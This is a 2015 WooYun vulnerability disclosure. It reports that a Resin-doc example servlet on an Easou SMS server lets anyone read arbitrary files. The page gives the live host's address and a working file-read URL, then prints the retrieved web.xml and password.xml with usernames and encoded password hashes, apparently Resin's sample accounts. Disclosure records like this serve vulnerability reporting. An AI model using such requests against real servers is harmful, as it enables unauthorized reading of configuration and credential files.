当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-092397

漏洞标题：宜搜某重要后台任意文件读取导致敏感信息泄漏

相关厂商：easou.com

漏洞作者： 路人甲

提交时间：2015-01-19 14:37

修复时间：2015-03-05 14:38

公开时间：2015-03-05 14:38

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-19： 细节已通知厂商并且等待厂商处理中
2015-01-19： 厂商已经确认，细节仅向厂商公开
2015-01-29： 细节向核心白帽子及相关领域专家公开
2015-02-08： 细节向普通白帽子公开
2015-02-18： 细节向实习白帽子公开
2015-03-05： 细节向公众公开

简要描述：

mei you wb le

详细说明：

http://120.197.95.230:8080/
宜搜短信存储转发系统
http://120.197.95.230:8080/resin-doc/examples/security-basic/viewfile?file=WEB-INF/web.xml

WEB-INF/web.xml
<web-app>
  <display-name>login-xml</display-name>
  <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.html</welcome-file>
  </welcome-file-list>
  <!-- this is the jsp that a 'login' link uses -->
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Home</web-resource-name>
      <url-pattern>/home.jsp</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <!-- 
        '*' for a <role-name> means "authenticated user with any role"
        The user must be logged in with some kind of role to access
        the home page.  
      -->
      <role-name>*</role-name>
    </auth-constraint>
  </security-constraint>
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Professors</web-resource-name>
      <url-pattern>/professors/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>professor</role-name>
    </auth-constraint>
  </security-constraint>
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Students</web-resource-name>
      <url-pattern>/students/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>student</role-name>
      <role-name>professor</role-name>
    </auth-constraint>
  </security-constraint>
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Staff</web-resource-name>
      <url-pattern>/staff/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>staff</role-name>
      <role-name>professor</role-name>
    </auth-constraint>
  </security-constraint>
  <login-config>
    <auth-method>form</auth-method>
    <form-login-config>
      <form-login-page>/login.jsp</form-login-page>
      <form-error-page>/login.jsp?login_error=1</form-error-page>
    </form-login-config>
  </login-config>
  <!-- Resin-specific XmlAuthenticator configuration -->
  <authenticator>
    <type>com.caucho.server.security.XmlAuthenticator</type>
    <init>
      <!-- Optionally put user information here.  -->
      <user>pince:Txpd1jQc/xwhISIqodEjfw==:staff,website</user>
      <user>filch:KmZIq2RKXAHV4BaoNHfupQ==:staff</user>
      <!-- You can also use an external file --> 
      <path>WEB-INF/password.xml</path>
    </init>
  </authenticator>
  
  <security-role>
    <role-name>professor</role-name>
  </security-role>
  <security-role>
    <role-name>student</role-name>
  </security-role>
  <security-role>
    <role-name>staff</role-name>
  </security-role>
  <security-role>
    <description>member of the slytherin house</description>
    <role-name>slytherin</role-name>
  </security-role>
  <security-role>
    <description>member of the gryffindor house</description>
    <role-name>gryffindor</role-name>
  </security-role>
  <security-role>
    <description>member of the ravenclaw house</description>
    <role-name>ravenclaw</role-name>
  </security-role>
  <security-role>
    <description>member of the hufflepuff house</description>
    <role-name>hufflepuff</role-name>
  </security-role>
  <security-role>
    <description>website administrator</description>
    <role-name>website</role-name>
  </security-role>
</web-app>


http://120.197.95.230:8080/resin-doc/examples/security-basic/viewfile?file=WEB-INF/password.xml

WEB-INF/password.xml
<!-- password.xml -->
<authenticator>
  <!-- professors -->
  <user name='snape' password='I7HdZr7CTM6hZLlSd2o+CA==' roles='professor,slytherin'/>
  <user name='mcgonagall' password='4slsTREVeTo0sv5hGkZWag==' roles='professor,gryffindor'/>
  <!-- students -->
  <user name='harry' password='uTOZTGaB6pooMDvqvl2Lbg==' roles='student,gryffindor'/>
  <user name='dmalfoy' password='yI2uN1l97Rv5E6mdRnDFwQ==' roles='student,slytherin'/>
  <!-- alumni -->
  <user name='lmalfoy' password='sj/yhtU1h4LZPw7/Uy9IVA==' roles='alumni,gryffindor'/>
</authenticator>

漏洞证明：

WEB-INF/password.xml
<!-- password.xml -->
<authenticator>
  <!-- professors -->
  <user name='snape' password='I7HdZr7CTM6hZLlSd2o+CA==' roles='professor,slytherin'/>
  <user name='mcgonagall' password='4slsTREVeTo0sv5hGkZWag==' roles='professor,gryffindor'/>
  <!-- students -->
  <user name='harry' password='uTOZTGaB6pooMDvqvl2Lbg==' roles='student,gryffindor'/>
  <user name='dmalfoy' password='yI2uN1l97Rv5E6mdRnDFwQ==' roles='student,slytherin'/>
  <!-- alumni -->
  <user name='lmalfoy' password='sj/yhtU1h4LZPw7/Uy9IVA==' roles='alumni,gryffindor'/>
</authenticator>

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-01-19 14:43

厂商回复：

谢谢指出，我们会及时改正

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-19 14:46 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    http://zone.wooyun.org/content/9887 不再通过